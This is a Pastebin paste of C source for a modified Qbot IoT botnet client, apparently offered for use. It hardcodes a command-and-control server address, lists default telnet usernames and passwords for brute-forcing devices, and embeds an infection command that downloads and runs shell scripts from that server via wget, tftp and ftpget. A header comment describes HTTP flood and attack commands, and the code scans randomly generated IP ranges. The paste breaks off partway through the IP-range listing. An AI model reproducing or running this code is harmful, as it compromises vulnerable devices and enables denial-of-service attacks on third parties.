Advertisement
Guest User

LoveSecs Private Client (Not Anymore KEK!)

a guest
Aug 5th, 2017
180
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 70.21 KB | None | 0 0
  1. /*
  2. {
  3. 6/23/17
  4. Cheats 2.5 Remasterd By Love Hecate
  5. 6/23/17
  6. }
  7. BUILD 2.5
  8. Qbot Modified by Jonah
  9. private void hackashit()
  10. {
  11. printf("Main Shit added\r\n");
  12. system("Look at The telnet scanner... Way better execution and faster");
  13. system("Working STD");//the std flood you see randomizing the strings that a few people have -say thanks to cheats for it
  14. system("Working HTTP Flood");
  15. system("Netis scanner added");//NEW!!!!!
  16. sleep(8);
  17. printf("lil shit added");
  18. system("Modified Botkill");
  19. system("Looping Payload Function");//PRETTY ASS
  20. system("Device Cleaner");
  21. system("New Get build");
  22. system("added python scanner lol");
  23. }
  24. //btw a lil side note the sh command is "MOVE"
  25. //another note ghp flood command is "!* HTTP cancer.org GET/POST/HEAD PORT PATH TIME POWER" SO LIKE THIS
  26. "!* HTTP cancer.org GET 80 / 60 200"
  27. //THE KILL ATTACK COMMAND IS "!* STOP"
  28. */
  29. #include <stdlib.h>
  30. #include <stdarg.h>
  31. #include <stdio.h>
  32. #include <sys/socket.h>
  33. #include <sys/types.h>
  34. #include <netinet/in.h>
  35. #include <arpa/inet.h>
  36. #include <netdb.h>
  37. #include <signal.h>
  38. #include <strings.h>
  39. #include <string.h>
  40. #include <sys/utsname.h>
  41. #include <unistd.h>
  42. #include <fcntl.h>
  43. #include <errno.h>
  44. #include <netinet/ip.h>
  45. #include <netinet/udp.h>
  46. #include <netinet/tcp.h>
  47. #include <sys/wait.h>
  48. #include <sys/ioctl.h>
  49. #include <net/if.h>
  50. #include <time.h>
  51. #include <limits.h>
  52. #define PR_SET_NAME 15
  53. #define SERVER_LIST_SIZE (sizeof(hekkertelnet) / sizeof(unsigned char *))
  54. #define PAD_RIGHT 1
  55. #define PAD_ZERO 2
  56. #define PRINT_BUF_LEN 12
  57. #define CMD_IAC 255
  58. #define CMD_WILL 251
  59. #define CMD_WONT 252
  60. #define CMD_DO 253
  61. #define CMD_DONT 254
  62. #define OPT_SGA 3
  63. #define STD2_SIZE 75
  64. #define BUFFER_SIZE 1024
  65. #define PHI 0x9e3779b9
  66. #define VERSION "DaddyV1.0"
  67. #define NETIS "AA\x00\x00AAAA"
  68. unsigned char *hekkertelnet[] = { "212.237.21.222" };
  69. int Server_Botport = 6123;
  70. char *usernames[] = {"666666\0", "support\0", "default\0", "root\0", "root\0", "admin\0", "root\0", "admin\0", "root\0", "admin\0", "admin\0", "root\0", "support\0", "root\0", "supervisor\0", "root\0", "root\0", "root\0"};
  71. char *passwords[] = {"666666\0", "support\0", "\0", "\0", "root\0", "admin\0", "1234\0", "root\0", "123456\0", "1234\0", "vnpt\0", "1234567890\0", "support\0", "antslq\0", "zyad1234\0", "anko\0", "tini\0", "letacla\0"};
  72. char *hvgsgd = "cd /tmp; wget http://212.237.21.222/bins.sh; chmod 777 bins.sh; sh bins.sh; tftp 212.237.21.222 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; tftp -r tftp2.sh -g 212.237.21.222; chmod 777 tftp2.sh; sh tftp2.sh; ftpget -v -u anonymous -p anonymous -P 21 212.237.21.222 ftp1.sh ftp1.sh; sh ftp1.sh; rm -rf bins.sh tftp1.sh tftp2.sh ftp1.sh; rm -rf *\r\n";
  73. char* advances[] = {":", "ogin", "sername", "assword", (char*)0};//advances so if it says any of the following itll try a passwd or user
  74. char* fails[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", (char*)0};// ill kms if i see this
  75. char* successes[] = {"BusyBox", "$", "#", (char*)0};//if it sees this itll send the payload
  76. char* advances2[] = {"nvalid", "ailed", "ncorrect", "enied", "rror", "oodbye", "bad", "BusyBox", "$", "#", (char*)0};
  77. int initConnection();
  78. int getBogos(unsigned char *bogomips);
  79. int getCores();
  80. int userID = 1;
  81. int getCountry(unsigned char *buf, int bufsize);
  82. void makeRandomStr(unsigned char *buf, int length);
  83. int HackerPrint(int sock, char *formatStr, ...);
  84. char *inet_ntoa(struct in_addr in);
  85. int D1ckSucka = 0, D1ckSuckaz = -1;
  86. uint32_t *pids;
  87. uint32_t scanPid;
  88. uint32_t ngPid;
  89. uint64_t numpids = 0;
  90. struct in_addr ourIP;
  91. unsigned char macAddress[6] = {0};
  92. static uint32_t Q[4096], c = 362436;
  93. void init_rand(uint32_t x)
  94. {
  95. int i;
  96. Q[0] = x;
  97. Q[1] = x + PHI;
  98. Q[2] = x + PHI + PHI;
  99. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  100. }
  101. uint32_t rand_cmwc(void)
  102. {
  103. uint64_t t, a = 18782LL;
  104. static uint32_t i = 4095;
  105. uint32_t x, r = 0xfffffffe;
  106. i = (i + 1) & 4095;
  107. t = a * Q[i] + c;
  108. c = (uint32_t)(t >> 32);
  109. x = t + c;
  110. if (x < c) {
  111. x++;
  112. c++;
  113. }
  114. return (Q[i] = r - x);
  115. }
  116. void trim(char *str)
  117. {
  118. int i;
  119. int begin = 0;
  120. int end = strlen(str) - 1;
  121. while (isspace(str[begin])) begin++;
  122. while ((end >= begin) && isspace(str[end])) end--;
  123. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  124. str[i - begin] = '\0';
  125. }
  126. static void printchar(unsigned char **str, int c)
  127. {
  128. if (str) {
  129. **str = c;
  130. ++(*str);
  131. }
  132. else (void)write(1, &c, 1);
  133. }
  134. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  135. {
  136. register int pc = 0, padchar = ' ';
  137. if (width > 0) {
  138. register int len = 0;
  139. register const unsigned char *ptr;
  140. for (ptr = string; *ptr; ++ptr) ++len;
  141. if (len >= width) width = 0;
  142. else width -= len;
  143. if (pad & PAD_ZERO) padchar = '0';
  144. }
  145. if (!(pad & PAD_RIGHT)) {
  146. for ( ; width > 0; --width) {
  147. printchar (out, padchar);
  148. ++pc;
  149. }
  150. }
  151. for ( ; *string ; ++string) {
  152. printchar (out, *string);
  153. ++pc;
  154. }
  155. for ( ; width > 0; --width) {
  156. printchar (out, padchar);
  157. ++pc;
  158. }
  159. return pc;
  160. }
  161. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  162. {
  163. unsigned char print_buf[PRINT_BUF_LEN];
  164. register unsigned char *s;
  165. register int t, neg = 0, pc = 0;
  166. register unsigned int u = i;
  167. if (i == 0) {
  168. print_buf[0] = '0';
  169. print_buf[1] = '\0';
  170. return prints (out, print_buf, width, pad);
  171. }
  172. if (sg && b == 10 && i < 0) {
  173. neg = 1;
  174. u = -i;
  175. }
  176. s = print_buf + PRINT_BUF_LEN-1;
  177. *s = '\0';
  178. while (u) {
  179. t = u % b;
  180. if( t >= 10 )
  181. t += letbase - '0' - 10;
  182. *--s = t + '0';
  183. u /= b;
  184. }
  185. if (neg) {
  186. if( width && (pad & PAD_ZERO) ) {
  187. printchar (out, '-');
  188. ++pc;
  189. --width;
  190. }
  191. else {
  192. *--s = '-';
  193. }
  194. }
  195. return pc + prints (out, s, width, pad);
  196. }
  197. static int print(unsigned char **out, const unsigned char *format, va_list args )
  198. {
  199. register int width, pad;
  200. register int pc = 0;
  201. unsigned char scr[2];
  202. for (; *format != 0; ++format) {
  203. if (*format == '%') {
  204. ++format;
  205. width = pad = 0;
  206. if (*format == '\0') break;
  207. if (*format == '%') goto out;
  208. if (*format == '-') {
  209. ++format;
  210. pad = PAD_RIGHT;
  211. }
  212. while (*format == '0') {
  213. ++format;
  214. pad |= PAD_ZERO;
  215. }
  216. for ( ; *format >= '0' && *format <= '9'; ++format) {
  217. width *= 10;
  218. width += *format - '0';
  219. }
  220. if( *format == 's' ) {
  221. register char *s = (char *)va_arg( args, int );
  222. pc += prints (out, s?s:"(null)", width, pad);
  223. continue;
  224. }
  225. if( *format == 'd' ) {
  226. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  227. continue;
  228. }
  229. if( *format == 'x' ) {
  230. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  231. continue;
  232. }
  233. if( *format == 'X' ) {
  234. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  235. continue;
  236. }
  237. if( *format == 'u' ) {
  238. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  239. continue;
  240. }
  241. if( *format == 'c' ) {
  242. scr[0] = (unsigned char)va_arg( args, int );
  243. scr[1] = '\0';
  244. pc += prints (out, scr, width, pad);
  245. continue;
  246. }
  247. }
  248. else {
  249. out:
  250. printchar (out, *format);
  251. ++pc;
  252. }
  253. }
  254. if (out) **out = '\0';
  255. va_end( args );
  256. return pc;
  257. }
  258. int zprintf(const unsigned char *format, ...)
  259. {
  260. va_list args;
  261. va_start( args, format );
  262. return print( 0, format, args );
  263. }
  264. int szprintf(unsigned char *out, const unsigned char *format, ...)
  265. {
  266. va_list args;
  267. va_start( args, format );
  268. return print( &out, format, args );
  269. }
  270. int HackerPrint(int sock, char *formatStr, ...)
  271. {
  272. unsigned char *textBuffer = malloc(2048);
  273. memset(textBuffer, 0, 2048);
  274. char *orig = textBuffer;
  275. va_list args;
  276. va_start(args, formatStr);
  277. print(&textBuffer, formatStr, args);
  278. va_end(args);
  279. orig[strlen(orig)] = '\n';
  280. //zprintf("buf: %s\n", orig);
  281. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  282. free(orig);
  283. return q;
  284. }
  285. static int *fdopen_pids;
  286. int fdpopen(unsigned char *program, register unsigned char *type)
  287. {
  288. register int iop;
  289. int pdes[2], fds, pid;
  290. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  291. if (pipe(pdes) < 0) return -1;
  292. if (fdopen_pids == NULL) {
  293. if ((fds = getdtablesize()) <= 0) return -1;
  294. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  295. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  296. }
  297. switch (pid = vfork())
  298. {
  299. case -1:
  300. close(pdes[0]);
  301. close(pdes[1]);
  302. return -1;
  303. case 0:
  304. if (*type == 'r') {
  305. if (pdes[1] != 1) {
  306. dup2(pdes[1], 1);
  307. close(pdes[1]);
  308. }
  309. close(pdes[0]);
  310. } else {
  311. if (pdes[0] != 0) {
  312. (void) dup2(pdes[0], 0);
  313. (void) close(pdes[0]);
  314. }
  315. (void) close(pdes[1]);
  316. }
  317. execl("/bin/sh", "sh", "-c", program, NULL);
  318. _exit(127);
  319. }
  320. if (*type == 'r') {
  321. iop = pdes[0];
  322. (void) close(pdes[1]);
  323. } else {
  324. iop = pdes[1];
  325. (void) close(pdes[0]);
  326. }
  327. fdopen_pids[iop] = pid;
  328. return (iop);
  329. }
  330. int fdpclose(int iop)
  331. {
  332. register int fdes;
  333. sigset_t omask, nmask;
  334. int pstat;
  335. register int pid;
  336. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  337. (void) close(iop);
  338. sigemptyset(&nmask);
  339. sigaddset(&nmask, SIGINT);
  340. sigaddset(&nmask, SIGQUIT);
  341. sigaddset(&nmask, SIGHUP);
  342. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  343. do {
  344. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  345. } while (pid == -1 && errno == EINTR);
  346. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  347. fdopen_pids[fdes] = 0;
  348. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  349. }
  350. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  351. {
  352. int got = 1, total = 0;
  353. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  354. return got == 0 ? NULL : buffer;
  355. }
  356. static const long hextable[] = {
  357. [0 ... 255] = -1,
  358. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  359. ['A'] = 10, 11, 12, 13, 14, 15,
  360. ['a'] = 10, 11, 12, 13, 14, 15
  361. };
  362. long parseHex(unsigned char *hex)
  363. {
  364. long ret = 0;
  365. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  366. return ret;
  367. }
  368. int wildString(const unsigned char* pattern, const unsigned char* string) {
  369. switch(*pattern)
  370. {
  371. case '\0': return *string;
  372. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  373. case '?': return !(*string && !wildString(pattern+1, string+1));
  374. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  375. }
  376. }
  377. int getHost(unsigned char *toGet, struct in_addr *i)
  378. {
  379. struct hostent *h;
  380. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  381. return 0;
  382. }
  383. void uppercase(unsigned char *str)
  384. {
  385. while(*str) { *str = toupper(*str); str++; }
  386. }
  387. int getBogos(unsigned char *bogomips)
  388. {
  389. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  390. char linebuf[4096];
  391. while(fdgets(linebuf, 4096, cmdline) != NULL)
  392. {
  393. uppercase(linebuf);
  394. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  395. {
  396. unsigned char *pos = linebuf + 8;
  397. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  398. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  399. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  400. strcpy(bogomips, pos);
  401. close(cmdline);
  402. return 0;
  403. }
  404. memset(linebuf, 0, 4096);
  405. }
  406. close(cmdline);
  407. return 1;
  408. }
  409. int getCores()
  410. {
  411. int totalcores = 0;
  412. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  413. char linebuf[4096];
  414. while(fdgets(linebuf, 4096, cmdline) != NULL)
  415. {
  416. uppercase(linebuf);
  417. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  418. memset(linebuf, 0, 4096);
  419. }
  420. close(cmdline);
  421. return totalcores;
  422. }
  423. void makeRandomStr(unsigned char *buf, int length)
  424. {
  425. int i = 0;
  426. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  427. }
  428. int recvLine(int socket, unsigned char *buf, int bufsize)
  429. {
  430. memset(buf, 0, bufsize);
  431. fd_set myset;
  432. struct timeval tv;
  433. tv.tv_sec = 30;
  434. tv.tv_usec = 0;
  435. FD_ZERO(&myset);
  436. FD_SET(socket, &myset);
  437. int selectRtn, retryCount;
  438. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  439. while(retryCount < 10)
  440. {
  441. HackerPrint(D1ckSucka, "PING");
  442. tv.tv_sec = 30;
  443. tv.tv_usec = 0;
  444. FD_ZERO(&myset);
  445. FD_SET(socket, &myset);
  446. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  447. retryCount++;
  448. continue;
  449. }
  450. break;
  451. }
  452. }
  453. unsigned char tmpchr;
  454. unsigned char *cp;
  455. int count = 0;
  456. cp = buf;
  457. while(bufsize-- > 1)
  458. {
  459. if(recv(D1ckSucka, &tmpchr, 1, 0) != 1) {
  460. *cp = 0x00;
  461. return -1;
  462. }
  463. *cp++ = tmpchr;
  464. if(tmpchr == '\n') break;
  465. count++;
  466. }
  467. *cp = 0x00;
  468. // zprintf("recv: %s\n", cp);
  469. return count;
  470. }
  471. int hostname_to_ip(char * hostname , char* ip)
  472. {
  473. struct hostent *he;
  474. struct in_addr **addr_list;
  475. int i;
  476. if ( (he = gethostbyname( hostname ) ) == NULL)
  477. {
  478. // get the host info
  479. herror("gethostbyname");
  480. return 1;
  481. }
  482. addr_list = (struct in_addr **) he->h_addr_list;
  483. for(i = 0; addr_list[i] != NULL; i++)
  484. {
  485. //Return the first one;
  486. strcpy(ip , inet_ntoa(*addr_list[i]) );
  487. return 0;
  488. }
  489. return 1;
  490. }
  491. int connectTimeout(int fd, char *host, int port, int timeout)
  492. {
  493. struct sockaddr_in dest_addr;
  494. fd_set myset;
  495. struct timeval tv;
  496. socklen_t lon;
  497. int valopt;
  498. long arg = fcntl(fd, F_GETFL, NULL);
  499. arg |= O_NONBLOCK;
  500. fcntl(fd, F_SETFL, arg);
  501. dest_addr.sin_family = AF_INET;
  502. dest_addr.sin_port = htons(port);
  503. if(getHost(host, &dest_addr.sin_addr)) return 0;
  504. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  505. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  506. if (res < 0) {
  507. if (errno == EINPROGRESS) {
  508. tv.tv_sec = timeout;
  509. tv.tv_usec = 0;
  510. FD_ZERO(&myset);
  511. FD_SET(fd, &myset);
  512. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  513. lon = sizeof(int);
  514. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  515. if (valopt) return 0;
  516. }
  517. else return 0;
  518. }
  519. else return 0;
  520. }
  521. arg = fcntl(fd, F_GETFL, NULL);
  522. arg &= (~O_NONBLOCK);
  523. fcntl(fd, F_SETFL, arg);
  524. return 1;
  525. }
  526. int listFork()
  527. {
  528. uint32_t parent, *newpids, i;
  529. parent = fork();
  530. if (parent <= 0) return parent;
  531. numpids++;
  532. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  533. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  534. newpids[numpids - 1] = parent;
  535. free(pids);
  536. pids = newpids;
  537. return parent;
  538. }
  539. int negotiate(int sock, unsigned char *buf, int len)
  540. {
  541. unsigned char c;
  542. switch (buf[1]) {
  543. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  544. case CMD_WILL:
  545. case CMD_WONT:
  546. case CMD_DO:
  547. case CMD_DONT:
  548. c = CMD_IAC;
  549. send(sock, &c, 1, MSG_NOSIGNAL);
  550. if (CMD_WONT == buf[1]) c = CMD_DONT;
  551. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  552. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  553. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  554. send(sock, &c, 1, MSG_NOSIGNAL);
  555. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  556. break;
  557. default:
  558. break;
  559. }
  560. return 0;
  561. }
  562. int matchPrompt(char *bufStr)
  563. {
  564. char *prompts = ":>%$#\0";
  565. int bufLen = strlen(bufStr);
  566. int i, q = 0;
  567. for(i = 0; i < strlen(prompts); i++)
  568. {
  569. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  570. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  571. }
  572. return 0;
  573. }
  574. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  575. {
  576. int bufferUsed = initialIndex, got = 0, found = 0;
  577. fd_set myset;
  578. struct timeval tv;
  579. tv.tv_sec = timeout;
  580. tv.tv_usec = timeoutusec;
  581. unsigned char *initialRead = NULL;
  582. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  583. {
  584. FD_ZERO(&myset);
  585. FD_SET(fd, &myset);
  586. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  587. initialRead = buffer + bufferUsed;
  588. got = recv(fd, initialRead, 1, 0);
  589. if(got == -1 || got == 0) return 0;
  590. bufferUsed += got;
  591. if(*initialRead == 0xFF)
  592. {
  593. got = recv(fd, initialRead + 1, 2, 0);
  594. if(got == -1 || got == 0) return 0;
  595. bufferUsed += got;
  596. if(!negotiate(fd, initialRead, 3)) return 0;
  597. } else {
  598. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  599. }
  600. }
  601. if(found) return 1;
  602. return 0;
  603. }
  604. static uint8_t ipState[5] = {0};
  605. in_addr_t HackerScan2()
  606. {
  607. ipState[1] = 0;
  608. ipState[2] = 0;
  609. ipState[3] = 0;
  610. ipState[4] = 0;
  611. ipState[1] = rand() % 255;
  612. ipState[2] = rand() % 255;
  613. ipState[3] = rand() % 255;
  614. ipState[4] = rand() % 255;
  615. int randnum = rand() % 208;
  616. char ip[16];
  617. if(randnum == 0)
  618. {
  619. szprintf(ip, "112.5.%d.%d", ipState[3], ipState[4]);
  620. }
  621. if(randnum == 1)
  622. {
  623. szprintf(ip, "117.165.%d.%d", ipState[3], ipState[4]);
  624. }
  625. if(randnum == 2)
  626. {
  627. szprintf(ip, "85.3.%d.%d", ipState[3], ipState[4]);
  628. }
  629. if(randnum == 3)
  630. {
  631. szprintf(ip, "37.158.%d.%d", ipState[3], ipState[4]);
  632. }
  633. if(randnum == 4)
  634. {
  635. szprintf(ip, "95.9.%d.%d", ipState[3], ipState[4]);
  636. }
  637. if(randnum == 5)
  638. {
  639. szprintf(ip, "41.252.%d.%d", ipState[3], ipState[4]);
  640. }
  641. if(randnum == 6)
  642. {
  643. szprintf(ip, "58.71.%d.%d", ipState[3], ipState[4]);
  644. }
  645. if(randnum == 7)
  646. {
  647. szprintf(ip, "104.55.%d.%d", ipState[3], ipState[4]);
  648. }
  649. if(randnum == 8)
  650. {
  651. szprintf(ip, "78.186.%d.%d", ipState[3], ipState[4]);
  652. }
  653. if(randnum == 9)
  654. {
  655. szprintf(ip, "78.189.%d.%d", ipState[3], ipState[4]);
  656. }
  657. if(randnum == 10)
  658. {
  659. szprintf(ip, "221.120.%d.%d", ipState[3], ipState[4]);
  660. }
  661. if(randnum == 11)
  662. {
  663. szprintf(ip, "88.5.%d.%d", ipState[3], ipState[4]);
  664. }
  665. if(randnum == 12)
  666. {
  667. szprintf(ip, "41.254.%d.%d", ipState[3], ipState[4]);
  668. }
  669. if(randnum == 13)
  670. {
  671. szprintf(ip, "103.20.%d.%d", ipState[3], ipState[4]);
  672. }
  673. if(randnum == 14)
  674. {
  675. szprintf(ip, "103.47.%d.%d", ipState[3], ipState[4]);
  676. }
  677. if(randnum == 15)
  678. {
  679. szprintf(ip, "103.57.%d.%d", ipState[3], ipState[4]);
  680. }
  681. if(randnum == 16)
  682. {
  683. szprintf(ip, "45.117.%d.%d", ipState[3], ipState[4]);
  684. }
  685. if(randnum == 17)
  686. {
  687. szprintf(ip, "101.51.%d.%d", ipState[3], ipState[4]);
  688. }
  689. if(randnum == 18)
  690. {
  691. szprintf(ip, "137.59.%d.%d", ipState[3], ipState[4]);
  692. }
  693. if(randnum == 19)
  694. {
  695. szprintf(ip, "1.56.%d.%d", ipState[3], ipState[4]);
  696. }
  697. if(randnum == 20)
  698. {
  699. szprintf(ip, "1.188.%d.%d", ipState[3], ipState[4]);
  700. }
  701. if(randnum == 21)
  702. {
  703. szprintf(ip, "14.204.%d.%d", ipState[3], ipState[4]);
  704. }
  705. if(randnum == 22)
  706. {
  707. szprintf(ip, "27.0.%d.%d", ipState[3], ipState[4]);
  708. }
  709. if(randnum == 23)
  710. {
  711. szprintf(ip, "27.8.%d.%d", ipState[3], ipState[4]);
  712. }
  713. if(randnum == 24)
  714. {
  715. szprintf(ip, "27.50.%d.%d", ipState[3], ipState[4]);
  716. }
  717. if(randnum == 25)
  718. {
  719. szprintf(ip, "27.54.%d.%d", ipState[3], ipState[4]);
  720. }
  721. if(randnum == 26)
  722. {
  723. szprintf(ip, "27.98.%d.%d", ipState[3], ipState[4]);
  724. }
  725. if(randnum == 27)
  726. {
  727. szprintf(ip, "27.112.%d.%d", ipState[3], ipState[4]);
  728. }
  729. if(randnum == 28)
  730. {
  731. szprintf(ip, "27.192.%d.%d", ipState[3], ipState[4]);
  732. }
  733. if(randnum == 29)
  734. {
  735. szprintf(ip, "36.32.%d.%d", ipState[3], ipState[4]);
  736. }
  737. if(randnum == 30)
  738. {
  739. szprintf(ip, "36.248.%d.%d", ipState[3], ipState[4]);
  740. }
  741. if(randnum == 31)
  742. {
  743. szprintf(ip, "39.64.%d.%d", ipState[3], ipState[4]);
  744. }
  745. if(randnum == 32)
  746. {
  747. szprintf(ip, "42.4.%d.%d", ipState[3], ipState[4]);
  748. }
  749. if(randnum == 33)
  750. {
  751. szprintf(ip, "42.48.%d.%d", ipState[3], ipState[4]);
  752. }
  753. if(randnum == 34)
  754. {
  755. szprintf(ip, "42.52.%d.%d", ipState[3], ipState[4]);
  756. }
  757. if(randnum == 35)
  758. {
  759. szprintf(ip, "42.56.%d.%d", ipState[3], ipState[4]);
  760. }
  761. if(randnum == 36)
  762. {
  763. szprintf(ip, "42.63.%d.%d", ipState[3], ipState[4]);
  764. }
  765. if(randnum == 37)
  766. {
  767. szprintf(ip, "42.84.%d.%d", ipState[3], ipState[4]);
  768. }
  769. if(randnum == 38)
  770. {
  771. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  772. }
  773. if(randnum == 39)
  774. {
  775. szprintf(ip, "42.224.%d.%d", ipState[3], ipState[4]);
  776. }
  777. if(randnum == 40)
  778. {
  779. szprintf(ip, "42.176.%d.%d", ipState[3], ipState[4]);
  780. }
  781. if(randnum == 41)
  782. {
  783. szprintf(ip, "43.253.%d.%d", ipState[3], ipState[4]);
  784. }
  785. if(randnum == 42)
  786. {
  787. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  788. }
  789. if(randnum == 43)
  790. {
  791. szprintf(ip, "163.53.%d.%d", ipState[3], ipState[4]);
  792. }
  793. if(randnum == 44)
  794. {
  795. szprintf(ip, "43.230.%d.%d", ipState[3], ipState[4]);
  796. }
  797. if(randnum == 45)
  798. {
  799. szprintf(ip, "62.252.%d.%d", ipState[3], ipState[4]);
  800. }
  801. if(randnum == 46)
  802. {
  803. szprintf(ip, "43.245.%d.%d", ipState[3], ipState[4]);
  804. }
  805. if(randnum == 47)
  806. {
  807. szprintf(ip, "62.255.%d.%d", ipState[3], ipState[4]);
  808. }
  809. if(randnum == 48)
  810. {
  811. szprintf(ip, "123.25.%d.%d", ipState[3], ipState[4]);
  812. }
  813. if(randnum == 49)
  814. {
  815. szprintf(ip, "103.54.%d.%d", ipState[3], ipState[4]);
  816. }
  817. if(randnum == 50)
  818. {
  819. szprintf(ip, "27.255.%d.%d", ipState[3], ipState[4]);
  820. }
  821. if(randnum == 51)
  822. {
  823. szprintf(ip, "103.204.%d.%d", ipState[3], ipState[4]);
  824. }
  825. if(randnum == 52)
  826. {
  827. szprintf(ip, "123.24.%d.%d", ipState[3], ipState[4]);
  828. }
  829. if(randnum ==53)
  830. {
  831. szprintf(ip, "113.191.%d.%d", ipState[3], ipState[4]);
  832. }
  833. if(randnum == 54)
  834. {
  835. szprintf(ip, "81.100.%d.%d", ipState[3], ipState[4]);
  836. }
  837. if(randnum == 55)
  838. {
  839. szprintf(ip, "113.188.%d.%d", ipState[3], ipState[4]);
  840. }
  841. if(randnum == 56)
  842. {
  843. szprintf(ip, "113.189.%d.%d", ipState[3], ipState[4]);
  844. }
  845. if(randnum == 57)
  846. {
  847. szprintf(ip, "94.174.%d.%d", ipState[3], ipState[4]);
  848. }
  849. if(randnum == 58)
  850. {
  851. szprintf(ip, "14.160.%d.%d", ipState[3], ipState[4]);
  852. }
  853. if(randnum == 59)
  854. {
  855. szprintf(ip, "14.161.%d.%d", ipState[3], ipState[4]);
  856. }
  857. if(randnum == 60)
  858. {
  859. szprintf(ip, "14.162.%d.%d", ipState[3], ipState[4]);
  860. }
  861. if(randnum == 61)
  862. {
  863. szprintf(ip, "14.163.%d.%d", ipState[3], ipState[4]);
  864. }
  865. if(randnum == 62)
  866. {
  867. szprintf(ip, "14.164.%d.%d", ipState[3], ipState[4]);
  868. }
  869. if(randnum == 63)
  870. {
  871. szprintf(ip, "14.165.%d.%d", ipState[3], ipState[4]);
  872. }
  873. if(randnum == 64)
  874. {
  875. szprintf(ip, "14.166.%d.%d", ipState[3], ipState[4]);
  876. }
  877. if(randnum == 65)
  878. {
  879. szprintf(ip, "14.167.%d.%d", ipState[3], ipState[4]);
  880. }
  881. if(randnum == 66)
  882. {
  883. szprintf(ip, "14.168.%d.%d", ipState[3], ipState[4]);
  884. }
  885. if(randnum == 67)
  886. {
  887. szprintf(ip, "14.169.%d.%d", ipState[3], ipState[4]);
  888. }
  889. if(randnum == 68)
  890. {
  891. szprintf(ip, "14.170.%d.%d", ipState[3], ipState[4]);
  892. }
  893. if(randnum == 69)
  894. {
  895. szprintf(ip, "14.171.%d.%d", ipState[3], ipState[4]);
  896. }
  897. if(randnum == 70)
  898. {
  899. szprintf(ip, "14.172.%d.%d", ipState[3], ipState[4]);
  900. }
  901. if(randnum == 71)
  902. {
  903. szprintf(ip, "14.173.%d.%d", ipState[3], ipState[4]);
  904. }
  905. if(randnum == 72)
  906. {
  907. szprintf(ip, "14.174.%d.%d", ipState[3], ipState[4]);
  908. }
  909. if(randnum == 73)
  910. {
  911. szprintf(ip, "14.175.%d.%d", ipState[3], ipState[4]);
  912. }
  913. if(randnum == 74)
  914. {
  915. szprintf(ip, "14.176.%d.%d", ipState[3], ipState[4]);
  916. }
  917. if(randnum == 75)
  918. {
  919. szprintf(ip, "14.177.%d.%d", ipState[3], ipState[4]);
  920. }
  921. if(randnum == 76)
  922. {
  923. szprintf(ip, "14.178.%d.%d", ipState[3], ipState[4]);
  924. }
  925. if(randnum == 77)
  926. {
  927. szprintf(ip, "14.179.%d.%d", ipState[3], ipState[4]);
  928. }
